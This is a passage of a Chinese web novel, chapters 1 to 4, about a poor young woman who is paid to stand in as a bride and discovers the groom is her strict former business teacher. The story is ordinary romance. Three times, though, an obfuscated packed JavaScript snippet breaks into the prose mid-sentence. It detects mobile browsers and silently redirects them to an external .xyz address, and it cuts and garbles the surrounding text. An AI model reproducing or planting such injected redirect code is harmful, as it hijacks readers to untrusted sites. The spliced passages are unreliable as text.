《替嫁对象是师父！》 1. 成亲 住沿途的议论声。 “这就是吉安秦家的接亲队伍？好生气派！” “可不嘛，新郎官乃秦家大当家，排场岂能小了去，听说花轿是整木雕琢，特地请了方圆百里最有名的老匠人亲手刻成的。” “何止！你瞧那轿帘上的凤凰，熠熠生辉，怕是金线密织出来的罢。” …… 迎亲队伍从曹县一路走到吉安，路程不短，轿中人只好借沿途闲谈打发时光。 轿中气闷，桐油气味熏得人头发昏，季灵儿悄悄将帘子掀开一丝缝隙，欲透口气。 随轿丫鬟眼明手快，连忙按住帘子低声提醒：“不可露了相。” 季灵儿只得缩回手，轻叹一声。 另一侧的喜娘随即开口：“大喜之日，新娘子切忌唉声叹气，须得讨个吉祥才好。” 季灵儿悄悄撇嘴，无声吐出好几口气。 横竖她不是正主儿，宋家小姐不愿出嫁，才暗中许她银钱顶替。幸而酬金丰厚，也不必真给秦家的当娘子，只待礼成之后送入洞房，新郎外间应酬宾客，她便可脚底抹油。 方才拦她的那名丫鬟玉秀，本是宋家小姐贴身侍女，自会料理后续。 花轿晃晃悠悠继续前行，满头金玉珠翠压得季灵儿脖颈发酸，她勉强寻个舒服姿态，倚轿壁稍歇。 奇怪，这一路只听外人夸耀排场，怎无人议论新郎样貌？ 听闻秦家大当家是河东府商行行老，执掌河东府半壁商行，这般人物，合该是众人津津乐道的焦点。 莫非真如宋家小姐所说，其生得丑陋，年岁长又性情暴戾，除却银钱一无是处？ 可在季灵儿看来，有钱，便是天大的长处！ 她好奇得紧，凑到帘边透着缝隙小声问玉秀：“你可瞧见新郎官？生得如何？” 玉秀略显迟疑回道：“迎亲队伍太长，姑爷高坐马上，看不真切。” 又劝：“您安分些，别节外生枝。” 队伍长，落在季灵儿耳中自化作“排场大，有钱”之意。 “知道了。”拿人钱财，自当忠人之事，她很有操守。 需蓄力夜间遁走，季灵儿收了好奇，乖乖倚回轿壁闭目养神。 轿夫们脚步稳健有力，花轿随着整齐的步伐轻晃，摇篮似的，季灵儿不知不觉睡着了。 迷迷糊糊间，梦回三年前，也是冬日，年关前。 十五岁的季灵儿跪在雪地上，北风像淬了冰的刀子，割破她身上的单薄棉衣，一下下刮着骨头缝。 没有血色的嘴唇颤动张合，反复哀求一句话：“包袱，我只要我的包袱，求你们了。” 厚重的门板紧闭，隔绝风雪，和她微弱的哀求。 风更利了，卷走身上最后一点暖和，雪片扑在脸上，她几乎睁不开眼，很想睡过去，睡过去就不冷了，也不饿了。 不行！包袱里是师父的遗物，绝对不能丢！ 她狠狠咬在手臂上，用疼痛强迫自己保持清醒。 膝盖跪的失去知觉，她用手臂撑着身子，一寸寸挪到门前，冻僵手指叩门，一下一下，如垂死的蝉鸣。 终于，门打开一条缝，却是一盆冷水兜头泼下，打湿凌乱的头发，顺着脖颈灌进前胸后背。 罪魁祸首满脸嫌弃咒骂：“哭嚎什么？死不了就滚远点！别脏了我们汇通钱庄的门脸！” 季灵儿冷的两排牙齿打磕，坚持重复：“我要我的包袱……” 就在这时，一辆马车停在她身后。 车上下来一人，踩着绣金线云纹的鹿皮靴，在泥雪混杂的地面上，一步一个脚印，停到她面前。 抬头，只看到玄色狐裘包裹的修长身形，和男人凌厉的下颌，至于样貌，她眼前太昏了，看不清楚。 男人弯腰，将她从泥雪中扶起，掌心温度火焰似地灼烧她麻木的手臂，融化冰冻其上的寒凉。 “能走吗？”他的声音低沉温柔，很动听。 季灵儿想点头，可惜头晕的连反应都给不出来。 男人似乎察觉了，扭头吩咐旁边打伞的人：“把姑娘扶车上。” 她本能地伸出手，死死攥住对方衣角：“包袱......我要包袱......” 话未说完，意识坠入混沌。 再醒来，已然身处温暖车厢，鼻尖萦绕着淡淡沉香，身侧搁着一只熟悉的旧包袱。 账本，算盘，半块玉珏，她要紧的东西全在。 季灵儿把东西抱在怀里，好一会儿才掀开厚帘布往外瞧。 车帘掀起的刹那，一片雪花落于她鼻尖，融化成晶莹的水珠。 外面是一处医馆，车夫在阶前坐着，见她醒来起身过来回话：“姑娘醒了，您住何处，我送您回去。” “我，”季灵儿张口便觉嗓中苦涩，“我没有家了，没有住处。” 车夫：“我们当家说了，若您无处可去，城外清心庵的住持师太很仁善，那里是个妥当的借居之所，您看？” “就去那里吧。” * “新娘子下轿咯！” 季灵儿在噼里啪啦的鞭炮声中转醒，玉秀偷偷催到第四声。 “姑爷来接您下花轿了。” 她猛地坐起，绣着龙凤呈祥的红盖头刚遮住视线，轿帘倏然掀开，眼前出现一只骨节修长的手，拇指上戴着一枚雕工精细的白玉扳指。 这手，这扳指，好眼熟...... 由不得她多回想，喜娘在一旁叫催，季灵儿把手搭上去，由那人牵着跨出轿门。 是错觉吗，他掌心传出的力量很熟悉。 好奇去瞧，只能看到红色喜袍的下摆，和锦红绣金云头履。 大户人家规矩多，走完一套繁琐的流程，季灵儿这辈子都不想再成亲了。 默默腹诽无数遍，终于熬到送入洞房。 外间宾客喧闹声不绝于耳，新房静悄悄的。 “人都走了。”玉秀提醒。 季灵儿一把扯下闷人的盖头，大口喘气。 红烛高烧，满屋子的贵重物件，晃得她眼晕。 “我去外头放风，你动作麻利点。”玉秀说完转身出去。 季灵儿回过神想叫她，门已经关上了。 “倒是先帮我把这累人的玩意去了呀！” 季灵儿尝试靠自己摘掉喜冠，以失败告终。 算了，抓紧时间跑路要紧，这玩意带出去说不定还能卖掉换银子。 想到换银子，小财迷的贪念上头，视线贪婪地扫视房间。 妆台上的嵌宝石金簪，多宝格上的羊脂玉佩，床头压帐用的金元宝…… 她迅速行动，将小巧易携带的值钱东西往怀里塞，往袖袋里藏。 劳累一天，拿点利息不过分吧，她会拿出来一部分做善事的，当作劫富济贫。 轻轻推开后窗。 就在季灵儿踩着凳子往窗台爬的时候，一阵更大的喧哗声浪由远及近！ “恭喜秦兄！” “让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379865|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们也看看新娘子芳容。” “改日不醉不归！” “秦兄等不及了。” …… 杂乱的脚步声，醉醺醺的调笑，催促。 最后是玉秀的示警：“姑爷！” 完了完了，跑不了了！ 季灵儿像受惊的兔子一样从凳子上蹦下来，慌乱环顾四周。床底？衣柜？...... 转念想，她何必藏，最危险的地方也最安全。 箭步扑回床榻，把扯下的红盖头胡乱盖在头上，坐在榻边，手忙脚乱整理两下裙摆。 房门推开，酒气和吵闹声涌进来。 玉秀看着端坐的人，暗自松一口气。 喜娘张罗着丫鬟们唱撒帐贺词，讨彩头要打赏。 “请新郎官拿起秤杆揭开盖头，称心如意，和和美美！” 揭盖头？揭盖头！ 季灵儿身体僵硬得像块石头，心脏险些从喉咙里跳出来。 揭开盖头她不就暴露了吗？那还怎么逃，不被扭送官府就谢天谢地。 不能揭，绝对不能揭。 眼看秤杆一端触到盖头边缘，季灵儿心急如焚，脱口叫停：“且慢！” 满屋子人愣住。 秤杆顿在原处，拿它的人也在等。 “夫君，”季灵儿仗着盖头遮挡，壮起胆子开口，“我，我有些怕生。” 她的意思很明白，让旁人出去。 秤杆停留片刻，被收回，垂在新郎官身侧。 “多谢诸位祝福捧场，阿吉，带贵客们去前厅吃酒。” “你们将东西搁下，去外头领赏。” 两声沉稳的吩咐后，屋子里的人嬉笑着散去，房门被关上，喧嚣隔绝。 新房内剩下红烛燃烧的噼啪声，和扑通扑通的心跳。 她只能听见自己的。 若非视线里新郎官未挪半步，她丝毫不怀疑对方一并出去了。 他太沉得住气，静静站着等她开口。 怀里的金簪硌得她生疼，袖袋里的元宝感觉随时要滑落。 季灵儿坐立难安，有种等待审判的错觉。 难不成已经被发现了？ 宋家小姐没说与这位夫君见过面，父母擅自作主定下的亲事，应当互不认识吧？ 不认识的话她就有机会蒙混过关，只要拖住不圆房，半夜趁他熟睡直接脚底抹油。 这边尚在思量对策，站着的人发话了，声音很温和，在征求她的意见。 “现在可以了吗？” 季灵儿愣了下，反应过来他在问盖头。 该来的躲不过，看运气吧。 她小幅度点了点头。 秤杆的一端再度伸过来，这次没有中断，从红盖头边缘着力，稳稳将其挑开。 盖头平稳落在红绣鸾凤和鸣的被褥上，季灵儿的心却高高悬在半空。 闭了闭眼，心一横，抬眸看向对方。 四目相对，季灵儿险些失声惊叫。 眼前的人，宋家小姐口中除了有钱一无是处的准夫君，竟然是教她生意经的师父！ 她唤了一年先生的师父。 第一反应是被骗了，她家先生分明有许多优点。 混乱中生出一丝庆幸，先生不知她女儿身，应当认不出。 还好没脱口叫人。 庆幸刚冒了个头，被对方两个字掐断。 “季凌？” 熟悉的声音，唤着她的化名。 2. 露相 季灵儿慌了，从前只知道师父姓秦，没人说是吉安秦家呀。 师兄们似乎讨论过，她没在意。 既然她不完全了解先生，先生弟子诸多，她承教时日最短，想来师父对她的了解也不多。 思及此，季灵儿决定再狡辩一下，“我不是......” 卷密的长睫轻垂，遮掩琥珀色瞳眸里的心虚。她不清楚自己这般和在学堂犯错寻借口时一模一样。 但秦劭一眼看穿。 “季凌。”他又唤一声，这次是陈述，语气与素日点她名时一般无二，清冷，严肃。 闻声，季灵儿掌心隐隐发疼，条件反射看向他的手，心说难怪扳指眼熟，手掌眼熟，便是这只手常打她板子。 眼下握着秤杆，可……秤杆打在手心也很疼的。 娥眉蹙起委屈，掌心因惊慌握紧，转念又觉思虑多余，毕竟洞房花烛，哪有人在这场合打新娘子手板的。 “夫君。”为了不挨手板，季灵儿攥紧拳头壮胆，抬眸主动将目光投向对方，软着嗓音娇滴滴轻唤，意在提醒他注意身份。 秦劭好整以暇看她眼中飞速流转的情绪。 小姑娘声甜，亲昵称呼蜜糖一般融进心坎里，不禁软了语气：“你很能适应新身份。” 季灵儿性子淘，过去一年常同他斗智斗勇，自然听的明白话意。 他认出了她，别白费口舌狡辩。 女儿身藏不住，退而求其次也成。 宋家女儿逃婚，避免开罪秦家不会主动揭穿，她咬定自己是新娘子宋芮宁，他便不能奈何。 “夫君好眼力，果然什么都瞒不过您。”灵眸眨动讨好的笑着拍马屁，继而忽悠：“隐姓埋名是我不该，实在太渴望跟您学本事了，您又不招收女弟子，不得已才改装身份。” 夫君唤的很顺口。 锅甩的亦很顺手。 合着是他不通人情，不招收女弟子引出的误会？ 秦劭太了解她惯用的招数，不动声色反问：“我何时说过不收女弟子？” “您是没有说过，但各大商行都瞧不起女人家做生意，我怕一遭被您拒绝，再想拜师更难，所以取了这个一劳永逸的法子。” 此言非虚，她第一个师父的死，正是打压女子经商的坏人造成的。 秦劭若有所思点头：“行事欠妥，但，情有可原。” 注意她一直盯着手中秤杆，索性拿到身前摆弄，轻一下重一下敲在自己手心。 季灵儿闻言刚要松口气，见其动作立马浑身汗毛倒竖，扯出谄媚的笑道：“都说十年修得同船渡，百年修得共枕眠，我与您当真有缘……呵呵……看在难得的缘分上，您就别计较从前的事了。” 金步摇随她仰头的动作晃出一道流光，映入秦劭眼底，分不清是光斑还是笑意。 “共枕眠？”秦劭无声勾了下唇，“所以你其实是宋家小姐，为了学做生意化名季凌，女扮男装拜我为师？” 凤冠上的金玉珠翠不掺半分假，沉甸甸地压在头上，季灵儿想点头却不能，抬手揉着酸麻的脖子，频频眨眼应道：“先生英明。” 眼见能蒙混过关，激动的连夫君都不唤了。 落进秦劭眼中，是小姑娘翻脸不认人。 罢了，左右先生这称呼也独属于她。 季灵儿有过一位于她恩深义重的师父，师父故去后，她在佛前燃长明灯超度祈福。 进商行弟子班只为学做生意的本事，不愿再叫别人师父。 拜师时秦劭知其一不知其二，一个称呼而已，他不在意这些，感念她情深义重，应了一声声“先生”。 先生，徒儿求您。 先生最好了。 先生就饶我这一遭吧。 先生不板着脸罚人的时候，就是世间最温和可亲的人。 ...... 同样唤先生，同样带着讨好的语气。 此时她没故意压粗嗓音，原本甜美的嗓音又为这两个字裹了一层糖衣，丝丝黏黏的，腻在耳蜗里。 秦劭一时忘了说话。 师父越沉默，事情越严重。 这是师兄弟间心照不宣的认知，季灵儿到底心虚，捧着讨好的笑又唤一声。 秦劭终于回神，目光自然落在她揉捏脖颈的动作上，搁下秤杆道：“我替你摘下。” “不，不劳先生。” 季灵儿下意识拒绝，一则在她眼中，先生还是先生，再冒失也不能逾越，二则她还想同玉秀说逃脱的事。 遂补充道：“叫旁人来就成。” “如此琐事，不必假手于人。” 话音未落，秦劭已近一步到她跟前，一手扶住凤冠，修长的手指抽出另一侧的金步摇，垂手递到她眼前。 步摇上的流苏还在微微晃动，季灵儿目光直直落在拿它的手指上，指尖修整干净，骨节纤长分明。 明明是同一只手，给人的感觉和握算盘戒尺时完全不同，没了凌厉的气势，只余好看。 流苏又晃了下，清脆声响里，她听见他说：“先拿着。” “喔好。”季灵儿忙捧起掌心接下。 喜服袖口宽大，随着秦劭的动作来回晃动，反反复复扫过她的鼻尖，季灵儿第一次如此近距离接触他。 原来先生身上是香的，很像她大雪天在松林里闻到的气息，清新冷冽。 秦劭动作出乎意料娴熟，两个妆娘费许多功夫别好的钗环，到他手里摘花一般轻松。 片刻，大大小小的珠钗逐一落在她掌心，头顶的分量转到手上，金闪闪的一堆。 都是白花花的银子啊！季灵儿忍不住感叹。她日常为一顿饱饭都要算计半日，如今头上戴的比她从前见过的银钱还多。 当真是人比人，气死人。 心里这般想着，手上更不舍得放下，反倒往怀里紧了紧。 秦劭最后摘下金丝凤冠，垂眸看她满脸贪婪，抿唇轻笑一声，明知故问：“想什么呢？” “这些东西要怎么处理？” 秦劭：“随你心意。” 季灵儿眼睛乍亮，盯着秦劭手里的凤冠，再度确认：“当真？” 秦劭颔首，“嗯，这是为成亲准备的，理应归你所有。” 一句话浇灭明眸里的光影，被失落取代。 为成亲准备的，就是为新娘子准备的，不归她这个冒名顶替的假货所有。 贪财心思落了空，恹恹地站起身，将金钗摊在妆台上。 秦劭的目光从未离开，揽尽她的情绪变幻，出口依旧平淡：“怎么？” “这么贵重的东西还是妥善收起来为好。” “也好，”秦劭随口应一声，顿了顿，说：“这些的确不适合素日佩戴，明日我再带你买合用的首饰。” 季灵儿闻言抬眼看过去，他眉目柔和，声音也温和，暖色烛光把一切都晃得不真实。 黄粱一梦，大致如此。 她张了张口，想说不必，话到嘴边转了弯：“先生真好。” 有钱真好。 可惜她不是真正的宋家小姐，适合她的也不是金玉珠翠。 今晚会再想法子溜走，故而无所谓明日买不买首饰。 秦劭没接话，转身褪下外袍，内里玄色中衣剪裁合体，随着动作勾勒出紧实腰线。 季灵儿还在出神，这会儿是在替宋家小姐惋惜，若她知道错过这样一个富足又贴心的夫君，会不会后悔逃婚。 想着想着，脱口问道：“先生生辰几何？” 秦劭转身时动作一顿，缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379866|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓道出八字。 季灵儿在心里算了算，过完年节便三十了。 年纪嘛，是大了些，但只凭面相半点不显，岁月沉淀出的气度，和他挺阔的腰背一样，看起来颇有安全感。 话说回来，这样好的男儿，偏偏成亲前夜遭遇逃婚，唏嘘的同时觉得老天还算公平，否则什么好事都让他占尽，叫旁人怎么活。 秦劭看着粉颊上阴晴切换，眉头微微蹙起，莫不是嫌他年纪大？ 但他没问。 把褪下的衣袍挂到架上，转头看向发呆的人，一本正经道：“需要我帮你？” “啊？”季灵儿茫然。 “嫁衣挺重。”秦劭说。 “我自己来就好。”反应过来的季灵儿赶忙上手拆解衣衫，生怕他再热心帮忙。 她没穿过这么繁复的嫁衣，胸前和袖子里还藏着“赃物”，心虚加慌张，几颗盘扣怎么也解不开。 铜镜里映出她的笨拙，和身后低笑的秦劭。 他没笑出声，季灵儿自然不知晓。 秦劭看了须臾，不动声色挪开目光，“我去叫水，你慢慢来，不着急。” 说罢，抬步往外间走。 季灵儿急忙将藏在衣服里的宝贝掏出来。 不多时，帘子再度掀开，玉秀脸上挂着笑意进来。 季灵儿见到她便想说溜走之事，刚开口又跟进来一名丫鬟，手里端着装水的铜盆，模样生得乖巧，朝她福了一礼道：“奴婢秋棠，伺候少夫人起居。” “我先替您宽衣，”玉秀给季灵儿递了个眼神。 季灵儿只好缄口，由她俩伺候着拆掉发髻，篦头净面。 记事起，这是第一次被人伺候更衣洗漱，陌生的体验让她无所适从，草草洗几下就缩回手，制止了秋棠拿起瓶瓶罐罐准备往她脸上抹的动作。 朝外间看一眼，问：“那人呢？” 秋棠：“少夫人问大爷？他在西次间沐浴。” 季灵儿这才留心，听到隐约传来的水声。 “知道了，你先下去吧。” 支开秋棠，季灵儿压低声音对玉秀说：“你晚些时候想办法支开旁人，我趁秦劭睡熟后溜走。” 玉秀却摇头：“不妥。” “放心吧，我不会惊动他的。” “奴婢不是担心这个，是，是......”玉秀面露凝重，支支吾吾说不出一句完整的话。 外间的水声减弱，季灵儿生怕秦劭进来，催促道：“那是为何，你快说呀！” 玉秀一闭眼，道：“您不能走。” “为何？” “您已经在秦家露了相，如今再走我家老爷无法向秦家交代。” “可我拿银子只答应替你家小姐拜堂，真留下算怎么回事！” 玉秀垂下眼帘，声音压得更低：“奴婢知您委屈，但眼下已无退路，您若走，秦家追究起来，奴婢这条命就保不住了，说不定连宋家也得跟着遭殃......您好人做到底，银钱方面我家老爷定不会亏待您。” “如今已不是钱不钱的问题了，我留下瞒得过一时，日后该怎么办？”季灵儿连连摆手，说什么也不依。 她不了解秦劭还不了解先生吗，她的小聪明在他面前从未得逞过。 玉秀急得眼眶泛红，干脆跪在她脚边哀求：“奴婢求您了，留下来吧。” “不成，你先起来......”季灵儿伸手去扶，玉秀却死活不肯起来。 季灵儿拉扯不动，站起身硬着心肠道：“即便你跪我，我也必须走。” “姑娘！”玉秀叩首一拜，泪水扑簌簌滚落。 湘绣的红帘布忽然被掀开，氤氲的热气漫进来，秦劭披着中衣进来，扫一眼地上的人，抬眸问季灵儿：“这是做什么？” 3. 习惯 粉颊上因气怒涨上来的红晕尚未褪去，季灵儿咬唇瞪地上仍跪着的玉秀，一时不知如何开口。 她不觉得秦劭会因此为难宋家，很想将事实和盘托出。 随即想到他惩罚弟子时的铁面无私，心中微微发怵。 新娘子未过门逃婚，还买通冒牌货代替拜堂，这事传出去到底没脸，秦家这样的大户怎会容忍这等羞辱？ 家族颜面受损，即便秦劭能通融，族老长辈定然不会善罢甘休。 她虽不是大善人，也决不能眼睁睁看一个大活人丢了性命，何况得罪秦家，她在吉安乃至河东府都难以立足。 她还有事情没办完，不能离开吉安。 想到这里，季灵儿强压下心头翻涌的情绪，叹了口气道：“没什么，玉秀弄丢了我心爱的东西，我一时生气说要撵她回去。” 秦劭：“丢了什么，在何处丢的，我多派人手去找。” “罢了，不是什么值钱物件，只是我一时舍不得，不值当费事。”她一边说一边扶起玉秀，“这次就算了，你以后留心些。” 玉秀抹着泪起身，福了福身子，低头退出去。 季灵儿再看向桌上她刚掏出来的珍宝，满心都是懊恼，若非她财迷耽误时间，此刻已经带着宝贝们离开了。 君子爱财取之有道，这话半点不假。 她收了宋家小姐银子，还贪心秦家珠宝，活该赔了夫人又折兵，把自己陷在困局里。 “舍了旧物，会有更好的。”一只大手按在她肩上，抚慰似的轻拍两下，“累了一日，早些沐浴歇息。” 秦劭发梢在滴水，半裸的胸膛处泛着微红。 季灵儿虽不谙情事，但多少听过些风月闲话，大喜之日，洞房花烛，新郎官这副模样说歇息，很难不让人胡思乱想，季灵儿警种大震，彻底醒过神，脑海里飞速找借口。 “先，先生，我今天实在累极了......困，困乏得很。” “嗯，”秦劭通情达理地点头，“不想沐浴也无妨，去睡吧。” 他好像曲解了她的意思，季灵儿一时语塞，又不好纠正，含糊应一声，挪步往床榻边去。 刚爬上床，秦劭跟着在床沿坐下，宽厚的背影遮去大半烛光。 季灵儿往里头缩了缩，攥住被角把自己裹得严严实实，还好床榻够大。 可惜只有一床被子。 落下的床帐把烛光隔在外头，帐内昏沉的光影更显暧昧，也更让人紧张。 季灵儿小心缩着，连呼吸都放轻了，恨不得把自己藏进墙缝里去。 秦劭平躺在床榻外侧，伸手拉被子，感受到一阵阻力，微微侧头，隐约可见蜷缩成一团的瘦弱身影，不由失笑：“你怕我？” “没有，就是不习惯。” 她说完许久，秦劭低沉的声音才在帐内漾开，“我也有些不惯，慢慢就会好了。” 季灵儿看不清他的神情，维持着防御姿态。 习惯？怎么习惯？难不成真让她习惯当秦家少夫人？ 思绪翻飞间，又听他说：“不是说乏了，快睡吧。” 听声音十分疲惫，说完翻了个身，背对着她。 帐内除了轻浅的呼吸声，好久没有其他动静，季灵儿松了口气，缓缓贴着墙躺下。 可她怎么也睡不着，关于以后该如何脱身的问题，走马灯似的在她脑海里转个不停。 耳边是秦劭逐渐绵长的呼吸，季灵儿缓缓睁开了眼，透过黑暗中看他宽厚的背影，心里有些慌，又有些涩。 别家儿郎弱冠前后成婚，三十岁，早该是儿女绕膝承欢，家庭美满的年纪，可他......唉。 她似乎，不该这么骗他。 窗外风声穿堂而过，微凉的夜气渗透纱帐，季灵儿起了恻隐之心，小心翼翼把被角往外拽了拽，搭在秦劭身上。 指尖无意碰到肩膀，他稍动了动。 季灵儿收回手，屏住呼吸躺好，不多时沉沉睡去。 入夜后下了场大雪，一层一层覆着砖瓦，地面，花木，还有院里院外张挂的红灯笼。 雪光映着灯笼的暖色，摇曳映在窗纸上，屋里屋外一片静谧安宁。 秦劭天将亮时才睡着。 清晨，季灵儿被噩梦惊醒，睁眼不见身边人，纱帐外透进一片清冷的光。 挑帘起身，窗外雪变小了，慢悠悠飘落在银白世界里。 外间的秦劭听见动静进来。 他今日穿了件靛蓝直裰，符合当家人的沉稳气度，眸里清晰的柔光落在她单薄的身躯上。 “小心着凉。”说着，取下架上外衣给她披上。 屋里炭火未熄，她一点不觉得冷，但当他指尖无意碰到她脖颈时，本能地瑟缩了一下。 秦劭愣了下，不动声色收回手，“这么怕我？” 他第二次这么问。 “不，不太习惯。”她的回答依旧。 不习惯在这样暖和的房间里醒过来，不习惯触碰，不习惯一贯严厉的先生突然变得温柔。 “嗯，来日方长。” 秦劭说完这话，从桌上拿了个尖锐的器物走向床榻，季灵儿不明白他要做什么。 尖锐刺破指腹，鲜血滴落在雪白的锦帕上，绽开一朵猩红的花。 他擦干净指尖，才唤人进来为她更衣梳妆。 进来的除了玉秀和秋棠，还有一位年岁稍长的嬷嬷，朝她行过礼，道两句漂亮贺词，去榻上取走了染血的帕子。 季灵儿怔怔看向秦劭，用目光询问他。 碍于外人在，秦劭简单回了两个字：“规矩。” 好奇怪的规矩，大户人家就麻烦，季灵儿心想。 换上准备好的海棠红对襟裙，看着铜镜里娇艳的身影，季灵儿总觉得刺眼且陌生。 秋棠还在往她头上添金饰玛瑙，因为睡一觉刚舒缓的脖颈又开始发僵，以至于她破天荒生出金银多了也愁人的念头。 “一定要戴这么多吗？”不想为难自己，鼓起勇气发问。 “成亲头一日面见家中长辈，这些都是您贵为大少夫人的体面。”秋棠先回话。 体面真的很费脖子。季灵儿在心中腹诽，目光继续瞟不远处的秦劭。 他觉察到，说：“娘亲自挑的，不戴失了敬意，稍后见完礼回来卸下就是。” 求助失败，季灵儿抿唇嗯一声，在心里默默估算满头首饰的价格，用银子数量转移注意。 出门前秋棠拿来一件绯色织金斗篷披在季灵儿肩上，里衬是柔软的雪狐毛，暖融融贴在身上。 细闻有淡淡的松香气，和先生身上的味道很像，大概用着同款熏香。 季灵儿摸了摸，触感细腻，跟身上趴一只乖巧的小兽似的，忍不住想蹭。 这一件，得值白银上百两。 兴许还不够......她暗自咋舌，贪婪地又多摸两下领口。 雪狐毛领簇着莹白小脸，随着动作在领口蹭来蹭去，像是要把自己藏进层层叠叠的锦绣里，掩去本来面目。 秦劭披了件深色墨纹大氅出来，看着她孩子气的动作，笑意在眼底漾开。 “走吧。”他掌心向上伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379867|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手，稳稳地停在她面前。 旁边丫鬟小厮瞧着，季灵儿不好驳他，微凉的手指刚放入掌心，立刻被温热包裹。 他的手很大，完全包住她的指尖，掌心的茧子蹭过手背，带着些许粗粝的暖意。 季灵儿低头看着交握的手，紧张地咽口水。 晨间气温尚寒，呵出的气变成霜花落在睫毛上，凝成细小的霜花。 秦劭没什么异常，极自然地牵着她沿着穿心通道一路走。 越过一道门还有一道，季灵儿头回在这么大院子里穿行，注意力不自觉被周遭吸引。 穿心通道两侧建筑一样，没什么稀奇，倒是檐下冰凌垂挂成晶帘，映着晨光折射出七彩光斑，漂亮极了。 刚进老夫人住的正院，遥遥看见堂屋前的庭院站了不少人，看装束是府中各房的管事嬷嬷和丫鬟。 季灵儿脚下步伐顿住，指尖在他掌心蜷了一下，被更稳地握紧。 “紧张？”秦劭停下脚步，挪步挡在她身前。 季灵儿点头。 她很少经历这样正式的场合，还是以一个极为陌生的身份，万一她走错礼节，或者被问及不懂的问题怎么办？ 更严重的，有人发现她不是真的宋家小姐，当场揭穿怎么办？ “别怕，只是普通见面。”秦劭拇指抚过她手背安慰，用两个人都能听见的声线说。 显然这话没什么用途，身前的人还是勾着头，肩膀绷得紧紧的。 “人多口杂，若听了不中听的便看我一眼，有我在这，没人会为难你。”他补充。 好像还不够。 抬起另一只手拂去她头上雪花，顺势落在头顶，轻轻拍两下。 小姑娘终于抬头，瞳孔盛满吃惊，睫毛一眨一眨，抖落几片霜花。 “先生真好。”轻如蚊呐的一声，是季灵儿发自内心的感叹。 很久没有人这样温柔待她了，所有源自雪天的恐惧在他的温度里化开，至少这一刻，阴影没能笼罩过来。 她眼里闪烁着晶莹的光，很动人。 秦劭忍不住看进去，“注意称呼。” “知道了。” 秦劭没说话，还是盯着她。 季灵儿不明，以为他在等自己改口，低低叫了声：“夫君。” “嗯。”秦劭又在她头上轻揉了一把，带着人往堂上去。 作为全院等级最高的屋舍，堂屋足比秦劭住的宽出一倍，开阔轩敞，炭火盆燃得正旺。 老夫人范氏拄着拐端坐主位，底下两旁依次坐着秦劭的母亲方淑凤，和另外三房的叔婶，几位兄弟姐妹在各自双亲身后站着说笑。 见新人进来，说笑声渐次低下去，目光齐齐转到二人身上，主要打量季灵儿。 秦劭松口娶亲，在家里是件稀罕事。 老夫人先开口，笑容和蔼地关怀几句冷暖。 然后丫鬟端着茶盘进来，季灵儿按序敬茶。 秦劭始终护在身侧，她跪下敬茶，他便在一旁虚扶着她的手臂，不失礼数地呵护。 诸人看在眼里，各有各的心思。 前头几位面色温和，喝了茶，给了见面礼，说几句互帮互持，早生贵子的吉利话。 最后一位四婶娘姚氏穿戴最是华丽，但脸色不太好看，接过茶，眼睛仍在季灵儿身上逡巡。 张口是笑里藏刀的刁钻：“新媳妇模样真是可人疼，年纪小，瞧着身子骨纤细了些。宗劭可得仔细养着，早些为秦家开枝散叶才是正经，商行事务繁巨，总不能日后还让夫君为内宅琐事分心操劳吧？” 4. 知情 秦劭乃大房长孙，父亲去世后成为秦家实际的掌权人，商行在他手中愈发壮大，也不曾亏待其他三房，纵然他们有不服气和不甘心的，不好摆在面上。 姚氏比另两家多了一份委屈，她家世不错，原是属意秦劭的，结果成了四房的媳妇，她丈夫虽只比秦劭长两岁，但没什么出息，争不到掌家权，分一杯羹还要仰别人鼻息，心中郁结多年。 如今看秦劭另娶一位二九年华的美娇娘，自然不痛快。 秦劭接过话头，声音朗朗：“有劳四婶娘挂心，秦家不缺打理庶务的人，内子的纯真烂漫恰教人欢喜，有她相伴我很心安，子嗣之事讲缘分，我秦劭的妻，无需承受此等压力。至于商行——” 他略一顿，目光沉静环视众人，威仪自生：“我既能执掌家业，自然也能护好妻室，不劳各位过多忧心。” 一席话明明白白告知众人，他的娘子轮不到旁人置喙。 这门亲事是老夫人软硬兼施，不惜拿性命威胁定下的，原怕秦劭心存介怀薄待孙媳，见他如此维护，满面欣慰地点头：“好，好，不愧是我秦家的儿郎，有担当，有气量。” 姚氏被怼的脸上红白交错，再听这话更气老夫人偏心，拿眼神把气撒回丈夫秦锦身上。 秦锦知道她的脾气，笑着打圆场，对秦劭道：“你四婶娘是关心，你向来心中有数，我们这些长辈便不多言了。” 